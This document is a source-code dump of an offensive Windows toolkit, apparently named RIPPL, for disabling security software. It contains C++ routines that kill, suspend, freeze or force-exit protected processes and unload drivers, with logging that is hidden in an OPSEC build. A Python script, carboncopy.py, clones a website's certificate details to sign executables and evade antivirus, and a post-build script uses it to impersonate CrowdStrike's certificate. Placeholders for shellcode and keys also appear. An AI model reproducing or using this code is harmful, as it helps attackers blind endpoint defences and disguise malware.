hProcess(LI_FN(OpenProcess)(PROCESS_TERMINATE, false, dwProcessId)); if (!hProcess) { DEBUGLOG(L"[-] Failed to get a PROCESS_TERMINATE handle to the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process\n"); if (!LI_FN(TerminateProcess)(hProcess.get(), 0)) { LOGTOCONSOLE(L"[-] Failed to call TerminateProcess on the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully called TerminateProcess on the process\n"); return true; } BOOL SuspendProcess(DWORD dwProcessId) { NTSTATUS status = 0; pNtSuspendProcess NtSuspendProcess = nullptr; wil::unique_handle hProcess(LI_FN(OpenProcess)(PROCESS_SUSPEND_RESUME, false, dwProcessId)); if (!hProcess) { DEBUGLOG(L"[-] Failed to get a PROCESS_SUSPEND_RESUME handle to the process exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process\n"); status = pNtSuspendProcess(LI_FN(NtSuspendProcess).nt())(hProcess.get()); if (status != STATUS_SUCCESS) { DEBUGLOG(L"[-] Failed to suspend the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully suspended the process\n"); //Sleep(5000); //bReturnValue = ResumeProcess(dwProcessId); return true; } BOOL ResumeProcess(DWORD dwProcessId) { NTSTATUS status = 0; pNtResumeProcess NtResumeProcess = nullptr; wil::unique_handle hProcess(LI_FN(OpenProcess)(PROCESS_SUSPEND_RESUME, false, dwProcessId)); if(!hProcess) { DEBUGLOG(L"[-] Failed to get a PROCESS_SUSPEND_RESUME handle to the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process\n"); status = pNtResumeProcess(LI_FN(NtResumeProcess).nt())(hProcess.get()); if (status != STATUS_SUCCESS) { DEBUGLOG(L"[-] Failed to resume the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process\n"); return true; } BOOL JobKillProcess(DWORD dwProcessId) { wil::unique_handle jobObject(LI_FN(CreateJobObjectW)(nullptr, nullptr)); wil::unique_handle targetProcess(LI_FN(OpenProcess)(PROCESS_SET_QUOTA | PROCESS_TERMINATE, false, dwProcessId)); if (!jobObject || !targetProcess) { DEBUGLOG(L"[-] Failed to create job object or open handle to the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process and the job object we will use to kill it with\n"); auto success = AssignProcessToJobObject(jobObject.get(), targetProcess.get()); if (!success) { DEBUGLOG(L"[-] Failed to assign the process to the job object, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully assigned the process to the job object we will use to kill it with\n"); success = LI_FN(TerminateJobObject)(jobObject.get(), 1337); if(!success) DEBUGLOG(L"[-] Failed to kill job object...\n"); else DEBUGLOG(L"[+] Successfully killed the job object!\n"); return success; } BOOL JobSuppressProcess(DWORD dwProcessId) { wil::unique_handle jobObject(LI_FN(CreateJobObjectW)(nullptr, nullptr)); wil::unique_handle targetProcess(LI_FN(OpenProcess)(PROCESS_SET_QUOTA | PROCESS_TERMINATE, false, dwProcessId)); if (!jobObject || !targetProcess) { DEBUGLOG(L"[-] Failed to create job object or open handle to the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process and the job object we will use to suppress it with\n"); JOBOBJECT_CPU_RATE_CONTROL_INFORMATION cpuRateInfo; cpuRateInfo.ControlFlags = JOB_OBJECT_CPU_RATE_CONTROL_ENABLE | JOB_OBJECT_CPU_RATE_CONTROL_HARD_CAP; cpuRateInfo.CpuRate = 1; auto success = LI_FN(SetInformationJobObject)(jobObject.get(), JobObjectCpuRateControlInformation, &cpuRateInfo, (DWORD)sizeof(JOBOBJECT_CPU_RATE_CONTROL_INFORMATION)); if (!success) { DEBUGLOG(L"[-] Failed to set job object's control information, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully set job object's control information\n"); success = LI_FN(AssignProcessToJobObject)(jobObject.get(), targetProcess.get()); if (!success) { DEBUGLOG(L"[-] Failed to assign the process to the job object, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully assigned the process to the job object, the process should now be frozen!\n"); return success; } BOOL SuicideProcess(DWORD dwProcessId) { wil::unique_handle targetProcess(LI_FN(OpenProcess)(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, dwProcessId)); if (!targetProcess) { DEBUGLOG(L"[-] Failed to open a handle to the process, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully got a handle to the process\n"); auto exitCode = 0; wil::unique_handle threadHandle(LI_FN(CreateRemoteThread)(targetProcess.get(), nullptr, NULL, (LPTHREAD_START_ROUTINE)exit, &exitCode, NULL, nullptr)); if (!threadHandle) { DEBUGLOG(L"[-] Failed to spawn remote exit(0) thread, exiting...\n"); return false; } else DEBUGLOG(L"[+] Successfully spawned remote exit(0) thread\n"); auto waitStatusThread = LI_FN(WaitForSingleObject)(threadHandle.get(), 5000); if (waitStatusThread != WAIT_FAILED) { DEBUGLOG(L"[+] Process successfully committed harakiri!\n"); return true; } else DEBUGLOG(L"[-] Process failed to commit harakiri...\n"); return false; } BOOL DriverUnload(std::wstring driverName) { wil::unique_handle processToken; auto success = OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_ALL_ACCESS, &processToken); if (!success) { DEBUGLOG(L"[-] Failed to open current thread token, exiting...\n"); return false; } success = SetPrivilege(processToken.get(), L"SeLoadDriverPrivilege", true); if (!success) { DEBUGLOG(L"[-] Failed to enable SeLoadDriverPrivilege, exiting...\n"); return false; } std::wstring driverPath = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + driverName; UNICODE_STRING wdfilterDrivServ; LI_FN(RtlInitUnicodeString)(&wdfilterDrivServ, driverPath.c_str()); auto status = NtUnloadDriver(&wdfilterDrivServ); if (status == STATUS_SUCCESS) DEBUGLOG(L"[+] Successfully unloaded driver!\n"); else { DEBUGLOG(L"[-] Failed to unload the driver...\n"); DEBUGLOG(driverPath.c_str()); return false; } return true; } ================================================ FILE: RIPPLDLL/dllexploit.h ================================================ #pragma once #pragma warning(disable: 6387) #include "..\RIPPL\common.hpp" #include #include #include #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "Shell32.lib") #pragma comment(lib, "Dbghelp.lib") #ifndef OPSEC #define LOGTOCONSOLE(...) LogToConsole(__VA_ARGS__) #define LOGLASTERROR(str) LogLastError(str) #define DEBUGLOG(str) OutputDebugStringW(str) #else #define LOGTOCONSOLE(...) #define LOGLASTERROR(str) #define DEBUGLOG(str) #endif extern HMODULE g_hInstance; extern HANDLE g_hConsoleOutput; extern DWORD g_dwProcessId; extern DWORD g_dwParentPid; extern LPWSTR g_pwszDumpFilePath; extern LPWSTR g_pwszGuid; extern BOOL g_bDebug; extern int g_intExecutionMode; typedef NTSTATUS(NTAPI* pNtSuspendProcess)(_In_ HANDLE hProcess); typedef NTSTATUS(NTAPI* pNtResumeProcess)(_In_ HANDLE hProcess); void DoStuff(); void LogToConsole(LPCWSTR pwszFormat, ...); void LogLastError(LPCWSTR pwszFunctionName); BOOL GetCurrentDllFileName(LPWSTR* ppwszDllName); BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName); BOOL ParseCommandLine(); BOOL DumpProcessMemory(DWORD dwProcessId, LPWSTR pwszDumpFilePath); BOOL KillProcess(DWORD dwProcessId); BOOL ResumeProcess(DWORD dwProcessId); BOOL SuspendProcess(DWORD dwProcessId); BOOL JobKillProcess(DWORD dwProcessId); BOOL JobSuppressProcess(DWORD dwProcessId); BOOL SuicideProcess(DWORD dwProcessId); bool UnhookDll(_In_ LPCWSTR lpszDllName); BOOL SetPrivilege(HANDLE token, std::wstring privilege, bool enabled); BOOL SetIntegrity(HANDLE hToken, std::wstring integrityLevel); BOOL SandboxToken(DWORD dwProcessId); BOOL DriverUnload(std::wstring driverName); ================================================ FILE: RIPPLDLL/packages.config ================================================  ================================================ FILE: carboncopy.py ================================================ #!/usr/bin/python3 ##Author : Paranoid Ninja ##Email : paranoidninja@protonmail.com ##Descr : Spoofs SSL Certificates and Signs executables to evade Antivirus from OpenSSL import crypto from sys import argv, platform from pathlib import Path import shutil import ssl import os import subprocess TIMESTAMP_URL = "http://sha256timestamp.ws.symantec.com/sha256/timestamp" def CarbonCopy(host, port, signee, signed): try: #Fetching Details print("[+] Loading public key of %s in Memory..." % host) ogcert = ssl.get_server_certificate((host, int(port))) x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert) certDir = Path('certs') certDir.mkdir(exist_ok=True) #Creating Fake Certificate CNCRT = certDir / (host + ".crt") CNKEY = certDir / (host + ".key") PFXFILE = certDir / (host + ".pfx") #Creating Keygen k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits())) cert = crypto.X509() #Setting Cert details from loaded from the original Certificate print("[+] Cloning Certificate Version") cert.set_version(x509.get_version()) print("[+] Cloning Certificate Serial Number") cert.set_serial_number(x509.get_serial_number()) print("[+] Cloning Certificate Subject") cert.set_subject(x509.get_subject()) print("[+] Cloning Certificate Issuer") cert.set_issuer(x509.get_issuer()) print("[+] Cloning Certificate Registration & Expiration Dates") cert.set_notBefore(x509.get_notBefore()) cert.set_notAfter(x509.get_notAfter()) cert.set_pubkey(k) print("[+] Signing Keys") cert.sign(k, 'sha256') print("[+] Creating %s and %s" %(CNCRT, CNKEY)) CNCRT.write_bytes(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) CNKEY.write_bytes(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) print("[+] Clone process completed. Creating PFX file for signing executable...") try: pfx = crypto.PKCS12() except AttributeError: pfx = crypto.PKCS12Type() pfx.set_privatekey(k) pfx.set_certificate(cert) pfxdata = pfx.export() PFXFILE.write_bytes(pfxdata) PFXFILE = str(PFXFILE) if platform == "win32": print("[+] Platform is Windows OS...") print("[+] Signing %s with signtool.exe..." %(signed)) shutil.copy(signee, signed) subprocess.check_call(["signtool.exe", "sign", "/v", "/f", PFXFILE, "/d", "MozDef Corp", "/tr", TIMESTAMP_URL, "/td", "SHA256", "/fd", "SHA256", signed]) else: print("[+] Platform is Linux OS...") print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE)) args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", TIMESTAMP_URL, "-in", signee, "-out", signed) print("[+] ", end='', flush=True) subprocess.check_call(args) except Exception as ex: print("[X] Something Went Wrong!\n[X] Exception: " + str(ex)) def main(): print("[*] Starting the code signing process...") if len(argv) != 5: print("[+] Descr: Impersonates the Certificate of a website\n[!] Usage: " + argv[0] + " \n") else: CarbonCopy(argv[1], argv[2], argv[3], argv[4]) if __name__ == "__main__": main() ================================================ FILE: postbuild.bat ================================================ cd %0\..\ python3.exe .\restore_headers.py python3.exe .\carboncopy.py www.crowdstrike.com 443 .\x64\Release\RIPPL_unsigned.exe .\x64\Release\RIPPL.exe del .\x64\Release\RIPPL_unsigned.exe del .\x64\Release\RIPPLDLL_unencrypted.dll del .\x64\Release\RIPPLDLL.dll echo [+] Successfully run postbuild.bat ================================================ FILE: restore_headers.py ================================================ import os import sys # Read in the file try: file_path = os.path.dirname(sys.argv[0]) + '\\RIPPL\\utils.h' with open(file_path, 'r') as file : filedata = file.readlines() except: print("[-] Failed to read the header to modify...") sys.exit(-1) # Replace the target string newdata = "" for line in filedata: if "#define SHCODE" in line: line = "#define SHCODE {0}\n" elif "#define AESKEY" in line: line = "#define AESKEY {0}\n" elif "#define IV" in line: line = "#define IV {0}\n" newdata += line # Write the file out again try: file_path = os.path.dirname(sys.argv[0]) + '\\RIPPL\\utils.h' with open(file_path, 'w') as file : file.write(newdata) except: print("[-] Failed to write to the header...") sys.exit(-1) print("[+] Headers restored!")